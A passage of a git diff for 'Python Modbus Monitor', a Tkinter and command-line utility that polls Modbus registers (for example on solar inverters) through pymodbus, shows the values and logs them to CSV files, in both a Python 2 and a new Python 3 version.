Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, 